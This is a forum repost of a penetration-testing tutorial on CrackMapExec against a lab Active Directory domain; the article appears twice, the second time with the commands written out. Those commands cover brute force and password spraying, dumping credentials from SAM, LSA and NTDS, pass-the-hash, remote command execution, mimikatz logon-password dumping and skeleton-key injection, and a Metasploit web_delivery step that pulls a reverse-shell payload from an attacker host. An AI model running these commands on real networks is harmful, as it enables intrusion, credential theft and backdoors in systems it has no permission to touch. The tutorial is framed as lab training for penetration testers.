inigo03
Viral Content Strategist
Divine
2
MONTHS
2 2 MONTHS OF SERVICE
LEVEL 1
400 XP
In this article, we learn to use crackmapexec. This tool is developed by byt3bl33d3r. I have used this tool many times for both offensive and defensive techniques. And with my experience from this tool, I can say that the tool is so amazing that one can use it for situational awareness as well as lateral movement. You can download the tool from here.
Table of Content
Introduction to Crackmapexec
Crackmapexec, also known as CME, is a post-exploitation tool. The developer of the tool describes it as a “swiss army knife for pen-testing networks”, which I find is an apt description. The tool is developed in python and lets us move laterally in an environment while being situationally aware. It abuses the Active Directory security by gathering all the information from IP addresses to harvesting the credentials from SAM. And this is the only information we need for our lateral movement. It also offers us numerous modules such as mimikatz, web delivery, wdigest, etc. to make dumping of credentials and getting a session easy. Hence, making an attacker all-powerful by letting them living off the Land.
Configurations Used for Practical
Here, in our lab scenario, we have configured the following settings on our systems.
Windows Server Details
Windows Client Details
Installation
The installation for this tool is most simple as for installation just use the following command:
Note: if the above command gives any issue then we recommend you to perform an apt update and upgrade on your Kali.
Enumeration: Discovering IPs
To discover the IPs on the target network, use the following command:
And as shown in the image above, you will have the list of the IPs.
In a general sense, the syntax for crackmapexec is:
crackmapexec <protocol> <Target_IP> -u ‘<username>‘ -p ‘<passwprd>‘
Which will bring out the command to be:
Enumeration: Users
To find out all the lists of the users in your target system, we will use the ‘—user’ parameter. Hence, the following command:
As shown in the above image, the execution of the above command will show the users of the target system.
Enumeration: Groups
To get the details of the groups from the target system, use the following command:
Enumeration: Text files
To get all the information of the text files in the target system, such as path, use the following command:
Enumeration: Log Files
Similarly, to retrieve the information of log files from the target system, use the following command:
This way you can access the information on any file extension such as exe, etc.
Enumeration: Shares
To know what folders are shared among the network and what permissions they have, we can use the following command:
As shown in the image above, we will have all the information for share folders in the network.
Enumeration: Sessions
The active sessions details can be found from the command given below:
Enumeration: Password Policies
To know the password policies that have been applied in the target system, CME provides us with the following command:
Executing the above command will give us the details of the password policies as shown in the image above.
Enumeration: Drives
To find out how many drives are there in the target system, with what name; we can use the following command:
Bruteforce: Username
With crackmapexec, you can also brute force the username that will match our correct password. We will be doing this on the whole network, that is why we will specify the IP range instead of just giving IP. We will do this, with the following command:
Bruteforce: Password
With CME, we can brute-force passwords on a single target system or the whole network. In our practice, we have a brute-forced password on the whole network. To do the said, type:
Dictionary Attack
CME also enable us to do dictionary on both username and password. Both custom or already made dictionaries can be given for the attack. In our practical, we have given a custom-made dictionary for both usernames and passwords. This attack can be done on the whole network or a single IP. We are doing this attack on the whole network as we are giving a whole IP range. To initiate the attack, use the following command:
Credential Dumping: SAM
SAM is short for the Security Account Manager which manages all the user accounts and their passwords. It acts as a database. All the passwords are hashed and then stored SAM. Using CME, we will dump the credentials from SAM in the form of hashes by using the following command:
Credential Dumping: LSA
The Local Security Authority (LSA) is a protected system process that authenticates and logs users on to the local computer. Domain credentials are used by the operating system and authenticated by the Local Security Authority (LSA). Therefore, LSA has access to the credentials and we will exploit this fact to harvest the credentials with CME by using the following command:
Credential Dumping: NTDS (DRSUAPI)
NTDS stands for New Technologies Directory Services and DIT stands for Directory Information Tree. This file acts as a database for Active Directory and stores all its data including all the credentials. And so we will manipulate this file to dump the hashes by using the following command:
Credential Dumping: NTDS (VSS)
Another way to retrieve credentials from NTDS is through VSS i.e. the volume shadow copy. And for this method, use the following command:
Pass the Hash
Once we have dumped hashes, we don’t need to use any other tool to pass the hash. With CME we need to use the following command:
Password Spraying
Password Spraying is an attack where we get hold of accounts by using the same passwords for the same numerous usernames until we find a correct one. With CME, we can perform password spraying with two methods. In the first method, we will use the parameter ‘–rid-brute’. To use this parameter, the syntax will be:
crackmapexec <protocol> <IP Address> -u <path of username txt file> -p ‘<password>‘ –rid-brute
Going by the above syntax, the command is:
Another method for password spraying is by using the ‘–continue-on-success’ and we will use this parameter with our custom-made dictionary that has all the usernames. The contents of the dictionary are shown in the image below using the cat command. And then for password spraying, use the following command:
Remote Command Execution
Now that we have studied various ways to obtain the password, let now make use of it as CME allows us to remotely execute commands. We can use the quser command to get information about the users. And logoff command to log off the target system. The syntax for executing commands remotely is:
crackmapexec <protocol> <IP_Address> -u ‘<username>‘ -p ‘<password>‘ -x ‘<command>‘
following the above syntax, our commands will be:
And as you can see in the image above, our commands are successfully executed and we have the information.
Remote Command Execution: atexec
This command will execute the command with the help of the Task Scheduler service. For this, use the following command:
And as you can see in the image above, our commands are successfully executed and we have the information.
Remote Command Execution: wmiexec
This command will execute the command with the help of the Windows Management Instrumentation (WMI) service. For this, use the following command:
And as you can see in the image above, our commands are successfully executed and we have the information.
We can also make the use of the PowerShell Cmdlets to execute tasks over the Remote using CME. This is possible due to the ability to execute commands remotely via WMI. For this use the following command:
And as you can see in the image above, our PowerShell Cmdlet is executed successfully and we have the information.
Talking about WMI, we can also directly run the WMI command on the target using CME. The parameter ‘–wmi’ is designed for this purpose. We can provide it with the command string of WMI and it will execute it as shown in the image given below.
And as we can see that we have a list of users on the target system which we extracted with the help of wmi command strings.
Modules
If from the above options you are not tempted to add CME in your tool kit, I bet the following will have you convinced in no time. CME also provides us with various modules which call upon the third-party tools like Mimikatz, Metasploit Framework, etc. to get the work done. To view all the modules that CME has to offer, use the following command:
Just as shown in the image above, all the modules will be displayed after running the above command successfully. Now let’s take a few of the modules from this and see how we can use them.
Modules: mimikatz
First, we will run Mimikatz directly as a module without giving it any other argument. The syntax for this is as following:
crackmapexec <protocol> <IP Address> -u <path of username txt file> -p ‘<password> -M <module>
Which will further make our command out to be as follows:
So now, as you can see in the image above, running the mimikatz module without any other argument will give the system credentials in the form of hashes.
Now let’s try and give a mimikatz command as an argument, for doing so the command will be:
And so, the command will debug all the privileges as shown in the image above. Now let’s try to run another command:
Hence, running the above command will display all the hashes of the logon password. This way, you can also give further argument such as the argument to inject skeleton key with the following command:
Now that we have successfully injected the skeleton in the memory of the Domain Controller. Now we can use various techniques to gain access to the Target machine.
Read More:Domain Controller Backdoor: Skeleton Key
Module: Wdigest
Another module that CME presents us is wdigest. This module will create a registry key due to which passwords are stored in memory. To use this module, type the following command:
And as you can see in the image above, the registry key is created.
Module: enum_dns
This module harvests all the information about the target DNS and displays it on the console. To use this module, use the following command:
And as you can see in the image above all the information is dumped on the console.
Module: web_delivery
To this module, first open Metasploit Framework using the command ‘msfconsole’ and then type the following set of commands to initiate web_delivery:
It will create a link as it is shown in the image above. Copy that link and remotely execute it in the target machine through CME using the following command:
And once the above command is executed successfully, you will have the meterpreter session as shown in the following image:
Conclusion
Enumeration is an intense task in any Penetration Testing as well as Red Team Assessment. But we saw that with the help of Crackmapexec or CME it seems quite easier and faster. Lateral Movement can take a huge amount of time if not done properly in an environment. But CME provides us with this functionality in just a single execution that any script kiddie can manipulate and perform. Overall this proves that CME is an important tool for Situational Awareness and Lateral Movement and it should be in every pentester’s arsenal.
Author: Yashika Dhir is a Cyber Security Researcher, Penetration Tester, Red Teamer, Purple Team enthusiast. Contact her on LinkedinandTwitter
Table of Content
- Introduction to Crackmapexec
- Crackmapexec and Red Team
- Configurations Used for Practical
- Installation
- Enumeration
- Discovering IPs
- users
- groups
- txt files
- log files
- share
- sessions
- password policies
- Drives
- Bruteforce
- Dictionary Attack
- Credential Dumping
- SAM
- LSA
- NTDS (DRSUAPI)
- NTDS (VSS)
- Pass the Hash
- Password spraying
- Remote Command Execution
- wmiexec
- atexec
- Modules
- mimikatz
- wdigest
- enum_dns
- Web delivery
Introduction to Crackmapexec
Crackmapexec, also known as CME, is a post-exploitation tool. The developer of the tool describes it as a “swiss army knife for pen-testing networks”, which I find is an apt description. The tool is developed in python and lets us move laterally in an environment while being situationally aware. It abuses the Active Directory security by gathering all the information from IP addresses to harvesting the credentials from SAM. And this is the only information we need for our lateral movement. It also offers us numerous modules such as mimikatz, web delivery, wdigest, etc. to make dumping of credentials and getting a session easy. Hence, making an attacker all-powerful by letting them living off the Land.
Configurations Used for Practical
- Target: Windows Server 2016
- Attacker: Kali Linux 2020.1
Here, in our lab scenario, we have configured the following settings on our systems.
Windows Server Details
- Domain: ignite.local
- User: Administrator
- Password: Ignite@987
- IP Address: 192.168.1.105
Windows Client Details
- OS: Windows 10
- IP Address: 192.168.1.106
- Users: kavish, geet, aarti, yashika
- Password: Password@1
Installation
The installation for this tool is most simple as for installation just use the following command:
Code:
apt install crackmapexecNote: if the above command gives any issue then we recommend you to perform an apt update and upgrade on your Kali.
Enumeration: Discovering IPs
To discover the IPs on the target network, use the following command:
Code:
crackmapexec smb 192.168.1.0/24And as shown in the image above, you will have the list of the IPs.
In a general sense, the syntax for crackmapexec is:
crackmapexec <protocol> <Target_IP> -u ‘<username>‘ -p ‘<passwprd>‘
Which will bring out the command to be:
Code:
crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987'Enumeration: Users
To find out all the lists of the users in your target system, we will use the ‘—user’ parameter. Hence, the following command:
Code:
crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' --usersAs shown in the above image, the execution of the above command will show the users of the target system.
Enumeration: Groups
To get the details of the groups from the target system, use the following command:
Code:
crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' --groupsEnumeration: Text files
To get all the information of the text files in the target system, such as path, use the following command:
Code:
crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' --spider C\$ --pattern txtEnumeration: Log Files
Similarly, to retrieve the information of log files from the target system, use the following command:
Code:
crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' --spider C\$ --pattern logThis way you can access the information on any file extension such as exe, etc.
Enumeration: Shares
To know what folders are shared among the network and what permissions they have, we can use the following command:
Code:
crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' --sharesAs shown in the image above, we will have all the information for share folders in the network.
Enumeration: Sessions
The active sessions details can be found from the command given below:
Code:
crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' --sessionsEnumeration: Password Policies
To know the password policies that have been applied in the target system, CME provides us with the following command:
Code:
crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' --pass-polExecuting the above command will give us the details of the password policies as shown in the image above.
Enumeration: Drives
To find out how many drives are there in the target system, with what name; we can use the following command:
Code:
crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' --disksBruteforce: Username
With crackmapexec, you can also brute force the username that will match our correct password. We will be doing this on the whole network, that is why we will specify the IP range instead of just giving IP. We will do this, with the following command:
Code:
crackmapexec smb 192.168.1.0/24 -u "kavish" "Administrator" -p "Ignite@987"Bruteforce: Password
With CME, we can brute-force passwords on a single target system or the whole network. In our practice, we have a brute-forced password on the whole network. To do the said, type:
Code:
crackmapexec smb 192.168.1.0/24 -u "Administrator" -p "password1" "password2" "Ignite@987"Dictionary Attack
CME also enable us to do dictionary on both username and password. Both custom or already made dictionaries can be given for the attack. In our practical, we have given a custom-made dictionary for both usernames and passwords. This attack can be done on the whole network or a single IP. We are doing this attack on the whole network as we are giving a whole IP range. To initiate the attack, use the following command:
Code:
crackmapexec smb 192.168.1.0/24 -u /root/Desktop/user.txt -p /root/Desktop/pass.txtCredential Dumping: SAM
SAM is short for the Security Account Manager which manages all the user accounts and their passwords. It acts as a database. All the passwords are hashed and then stored SAM. Using CME, we will dump the credentials from SAM in the form of hashes by using the following command:
Code:
crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' --samCredential Dumping: LSA
The Local Security Authority (LSA) is a protected system process that authenticates and logs users on to the local computer. Domain credentials are used by the operating system and authenticated by the Local Security Authority (LSA). Therefore, LSA has access to the credentials and we will exploit this fact to harvest the credentials with CME by using the following command:
Code:
crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' --lsaCredential Dumping: NTDS (DRSUAPI)
NTDS stands for New Technologies Directory Services and DIT stands for Directory Information Tree. This file acts as a database for Active Directory and stores all its data including all the credentials. And so we will manipulate this file to dump the hashes by using the following command:
Code:
crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' --ntds drsuapiCredential Dumping: NTDS (VSS)
Another way to retrieve credentials from NTDS is through VSS i.e. the volume shadow copy. And for this method, use the following command:
Code:
crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' --ntds vssPass the Hash
Once we have dumped hashes, we don’t need to use any other tool to pass the hash. With CME we need to use the following command:
Code:
crackmapexec smb 192.168.1.105 -u Administrator -H 32196B56FFE6F45E294117B91A83BF38Password Spraying
Password Spraying is an attack where we get hold of accounts by using the same passwords for the same numerous usernames until we find a correct one. With CME, we can perform password spraying with two methods. In the first method, we will use the parameter ‘–rid-brute’. To use this parameter, the syntax will be:
crackmapexec <protocol> <IP Address> -u <path of username txt file> -p ‘<password>‘ –rid-brute
Going by the above syntax, the command is:
Code:
crackmapexec smb 192.168.1.106 -u /root/Desktop/user.txt -p 'Password@1' --rid-bruteAnother method for password spraying is by using the ‘–continue-on-success’ and we will use this parameter with our custom-made dictionary that has all the usernames. The contents of the dictionary are shown in the image below using the cat command. And then for password spraying, use the following command:
Code:
crackmapexec smb 192.168.1.106 -u /root/Desktop/user.txt -p 'Password@1' --continue-on-successRemote Command Execution
Now that we have studied various ways to obtain the password, let now make use of it as CME allows us to remotely execute commands. We can use the quser command to get information about the users. And logoff command to log off the target system. The syntax for executing commands remotely is:
crackmapexec <protocol> <IP_Address> -u ‘<username>‘ -p ‘<password>‘ -x ‘<command>‘
following the above syntax, our commands will be:
Code:
crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' -x 'quser'
crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' -x 'logoff 2'And as you can see in the image above, our commands are successfully executed and we have the information.
Remote Command Execution: atexec
This command will execute the command with the help of the Task Scheduler service. For this, use the following command:
Code:
crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' -x 'net user Administrator /domain' --exec-method atexecAnd as you can see in the image above, our commands are successfully executed and we have the information.
Remote Command Execution: wmiexec
This command will execute the command with the help of the Windows Management Instrumentation (WMI) service. For this, use the following command:
Code:
crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' -x 'net user Administrator /domain' --exec-method wmiexecAnd as you can see in the image above, our commands are successfully executed and we have the information.
We can also make the use of the PowerShell Cmdlets to execute tasks over the Remote using CME. This is possible due to the ability to execute commands remotely via WMI. For this use the following command:
Code:
crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' -X '$PSVersionTable' --exec-method wmiexecAnd as you can see in the image above, our PowerShell Cmdlet is executed successfully and we have the information.
Talking about WMI, we can also directly run the WMI command on the target using CME. The parameter ‘–wmi’ is designed for this purpose. We can provide it with the command string of WMI and it will execute it as shown in the image given below.
Code:
crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' --wmi "select Name from Win32_UserAccount"And as we can see that we have a list of users on the target system which we extracted with the help of wmi command strings.
Modules
If from the above options you are not tempted to add CME in your tool kit, I bet the following will have you convinced in no time. CME also provides us with various modules which call upon the third-party tools like Mimikatz, Metasploit Framework, etc. to get the work done. To view all the modules that CME has to offer, use the following command:
Code:
crackmapexec smb -LJust as shown in the image above, all the modules will be displayed after running the above command successfully. Now let’s take a few of the modules from this and see how we can use them.
Modules: mimikatz
First, we will run Mimikatz directly as a module without giving it any other argument. The syntax for this is as following:
crackmapexec <protocol> <IP Address> -u <path of username txt file> -p ‘<password> -M <module>
Which will further make our command out to be as follows:
Code:
crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' -M mimikatzSo now, as you can see in the image above, running the mimikatz module without any other argument will give the system credentials in the form of hashes.
Now let’s try and give a mimikatz command as an argument, for doing so the command will be:
Code:
crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' -M mimikatz -o COMMAND='privilege::debug'And so, the command will debug all the privileges as shown in the image above. Now let’s try to run another command:
Code:
crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' -M mimikatz -o COMMAND='sekurlsa::logonPasswords'Hence, running the above command will display all the hashes of the logon password. This way, you can also give further argument such as the argument to inject skeleton key with the following command:
Code:
crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' -M mimikatz -o COMMAND='misc::skeleton'Now that we have successfully injected the skeleton in the memory of the Domain Controller. Now we can use various techniques to gain access to the Target machine.
Read More:Domain Controller Backdoor: Skeleton Key
Module: Wdigest
Another module that CME presents us is wdigest. This module will create a registry key due to which passwords are stored in memory. To use this module, type the following command:
Code:
crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' -M wdigest -o ACTION=enableAnd as you can see in the image above, the registry key is created.
Module: enum_dns
This module harvests all the information about the target DNS and displays it on the console. To use this module, use the following command:
Code:
crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' -M enum_dnsAnd as you can see in the image above all the information is dumped on the console.
Module: web_delivery
To this module, first open Metasploit Framework using the command ‘msfconsole’ and then type the following set of commands to initiate web_delivery:
Code:
use exploit/multi/script/web_delivery
set target 2
set payload windows/meterpreter/reverse_tcp
set lhost <local IP>
set srvhost <local IP>
exploitIt will create a link as it is shown in the image above. Copy that link and remotely execute it in the target machine through CME using the following command:
Code:
crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' -M web_delivery -o URL=http://192.168.1.112:8080/rlNdPdZQMeYWLFAnd once the above command is executed successfully, you will have the meterpreter session as shown in the following image:
Conclusion
Enumeration is an intense task in any Penetration Testing as well as Red Team Assessment. But we saw that with the help of Crackmapexec or CME it seems quite easier and faster. Lateral Movement can take a huge amount of time if not done properly in an environment. But CME provides us with this functionality in just a single execution that any script kiddie can manipulate and perform. Overall this proves that CME is an important tool for Situational Awareness and Lateral Movement and it should be in every pentester’s arsenal.
Author: Yashika Dhir is a Cyber Security Researcher, Penetration Tester, Red Teamer, Purple Team enthusiast. Contact her on LinkedinandTwitter